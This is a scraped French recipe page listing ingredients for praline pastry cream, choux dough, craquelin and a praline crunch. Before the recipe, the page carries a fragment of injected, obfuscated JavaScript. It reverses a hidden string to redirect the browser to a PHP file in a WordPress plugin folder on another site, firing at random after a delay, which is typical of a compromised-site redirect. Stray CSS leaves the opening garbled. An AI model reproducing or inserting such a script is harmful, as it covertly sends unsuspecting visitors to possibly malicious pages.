) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1562323763292{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: rgba(202,219,217,0.82) !important;*background-color: rgb(202,219,217) !important;} »]Par Jérôme MOULINOU de la patisserie « Les gourmandises de Lilu » à Cahors
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Recette
Temps de préparation : 90 min

Temps de cuisson : 20 min

Ingrédient :
Crème pâtissière praliné
– 500 g de lait
– 4 jaunes d’oeufs
– 125 g de sucre
– 60 g de maïzena
– 120 g de beurre
– 150 g de praliné

Pâte à choux
– 250 g de lait
– 4 g de sel
– 150 g de farine
– 200 g de beurre
– 4 oeufs

Craquelin
– 150 g de beurre
– 180 g de farine
– 180 g de sucre roux

Croustillant praliné
– 250 g de praliné
– 125 g de gavotte
– 125 g de chocolat au lait